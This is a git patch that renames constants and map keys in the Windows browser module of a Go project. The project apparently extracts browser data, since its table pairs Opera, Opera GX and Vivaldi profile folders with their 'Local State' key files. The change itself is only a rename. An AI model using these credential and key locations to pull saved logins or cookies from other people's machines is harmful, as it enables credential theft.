From 2de1f48f2a29ec2462e0edd8112e7931b557c08d Mon Sep 17 00:00:00 2001 From: moond4rk Date: Thu, 3 Dec 2020 11:28:56 +0800 Subject: [PATCH] refactor: format code name --- core/browser_windows.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/core/browser_windows.go b/core/browser_windows.go index 50d6b50..eb1bbec 100644 --- a/core/browser_windows.go +++ b/core/browser_windows.go @@ -24,8 +24,8 @@ const ( qqBrowserProfilePath = "/AppData/Local/Tencent/QQBrowser/User Data/*/" firefoxProfilePath = "/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release/" operaProfilePath = "/AppData/Roaming/Opera Software/Opera Stable/" - operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" - operaGXProfilepath = "/AppData/Roaming/Opera Software/Opera GX Stable/" + operaKeyPath = "/AppData/Roaming/Opera Software/Opera Stable/Local State" + operaGXProfilePath = "/AppData/Roaming/Opera Software/Opera GX Stable/" operaGXKeyPath = "/AppData/Roaming/Opera Software/Opera GX Stable/Local State" vivaldiProfilePath = "/AppData/Local/Vivaldi/User Data/Default/" vivaldiKeyPath = "/AppData/Local/Vivaldi/Local State" @@ -84,13 +84,13 @@ var ( Name: operaName, New: NewChromium, }, - "operagx": { - ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilepath, + "opera-gx": { + ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilePath, KeyPath: os.Getenv("USERPROFILE") + operaGXKeyPath, Name: operaGXName, New: NewChromium, }, - "Vivaldi": { + "vivaldi": { ProfilePath: os.Getenv("USERPROFILE") + vivaldiProfilePath, KeyPath: os.Getenv("USERPROFILE") + vivaldiKeyPath, Name: vivaldiName,